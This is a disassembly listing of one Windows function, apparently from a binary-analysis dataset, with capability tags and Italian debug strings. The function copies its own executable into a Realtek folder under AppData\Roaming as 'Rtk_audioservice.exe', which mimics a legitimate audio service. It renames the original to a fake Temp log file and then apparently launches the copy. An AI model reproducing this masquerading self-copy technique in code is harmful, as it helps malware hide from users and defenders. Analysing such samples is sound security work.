Function at 0x140011663
Capabilities:
Check if file exists
Copy file
Create directory
Get file attributes
Move file
Query environment variable

Disassembly:
jmp 0x140015830
push rbp
push rdi
sub rsp, 0xa28
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1be
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140025278]
xor rax, rbp
mov qword [rbp + 0x9e8], rax
lea rcx, [0x14002b1ba]
call fcn.140011681
call qword [sym.imp.ucrtbased.dll___p___argv]
mov ecx, 8
imul rcx, rcx, 0
mov rax, qword [rax]
mov r8d, 0x104
mov rdx, qword [rax + rcx]
lea rcx, [rbp + 0x30]
call qword [sym.imp.ucrtbased.dll__fullpath]
test rax, rax
je 0x1400158a8
lea rdx, [rbp + 0x30]
lea rcx, str.Percorso_completo_del_file_eseguibile:__s_n
call fcn.140011320
mov ecx, 0x20a
call fcn.1400112d0
mov qword [rbp + 0x998], rax
mov rax, qword [rbp + 0x998]
mov qword [rbp + 0x158], rax
mov qword [rsp + 0x20], 0x104
lea r9, [rbp + 0x30]
mov r8d, 0x105
mov rdx, qword [rbp + 0x158]
lea rcx, [rbp + 8]
call qword [sym.imp.ucrtbased.dll_mbstowcs_s]
mov r8d, 0x104
lea rdx, [rbp + 0x180]
lea rcx, str.USERPROFILE
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea r9, [rbp + 0x180]
lea r8, str._sAppDataRoamingRealtekRtk_audioservice.exe
mov edx, 0x104
lea rcx, [rbp + 0x2b0]
call fcn.1400114ba
lea rdx, [rbp + 0x2b0]
lea rcx, str.Percorso_completo_del_file_destinazione:__s_n
call fcn.140011320
mov ecx, 0x20a
call fcn.1400112d0
mov qword [rbp + 0x9b8], rax
mov rax, qword [rbp + 0x9b8]
mov qword [rbp + 0x3d8], rax
mov qword [rsp + 0x20], 0x104
lea r9, [rbp + 0x2b0]
mov r8d, 0x105
mov rdx, qword [rbp + 0x3d8]
lea rcx, [rbp + 8]
call qword [sym.imp.ucrtbased.dll_mbstowcs_s]
mov rcx, qword [rbp + 0x3d8]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140015aab
lea rcx, str.Il_file_non_esiste__inizio_procedura_di_creazione_e_spostamento:
call fcn.140011320
lea r9, [rbp + 0x180]
lea r8, str._sAppDataRoamingRealtek
mov edx, 0x104
lea rcx, [rbp + 0x400]
call fcn.1400114ba
mov ecx, 0x20a
call fcn.1400112d0
mov qword [rbp + 0x9d8], rax
mov rax, qword [rbp + 0x9d8]
mov qword [rbp + 0x528], rax
mov qword [rsp + 0x20], 0x104
lea r9, [rbp + 0x400]
mov r8d, 0x105
mov rdx, qword [rbp + 0x528]
lea rcx, [rbp + 8]
call qword [sym.imp.ucrtbased.dll_mbstowcs_s]
xor edx, edx
mov rcx, qword [rbp + 0x528]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, str.Directory_Creata
call fcn.140011320
xor r8d, r8d
mov rdx, qword [rbp + 0x3d8]
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x140015a48
lea rcx, str.Il_file
call fcn.140011041
jmp 0x140015a5c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Errore_durante_la_copia_del_file._Codice_di_errore:__d_n
call fcn.140011041
lea r9, [rbp + 0x180]
lea r8, str._sAppDataLocalTempwindowsTmpLogs.log
mov edx, 0x104
lea rcx, [rbp + 0x550]
call fcn.1400114ba
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x30]
call qword [sym.imp.ucrtbased.dll_rename]
test eax, eax
je 0x140015a9f
lea rcx, str.Errore_nella_rinominazione_del_file
call qword [sym.imp.ucrtbased.dll_perror]
jmp 0x140015aab
lea rcx, str.File_origine_spostato_in_cartella:_tmp
call fcn.140011320
lea rcx, [rbp + 0x2b0]
call fcn.1400110a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x674], eax
mov edx, dword [rbp + 0x674]
lea rcx, [0x140021000]
call fcn.140011320
lea rcx, [rbp - 0x30]
lea rdx, [0x140020470]
call fcn.14001157d
mov rcx, qword [rbp + 0x9e8]
xor rcx, rbp
call fcn.14001133e
lea rsp, [rbp + 0x9f8]
pop rdi
pop rbp
ret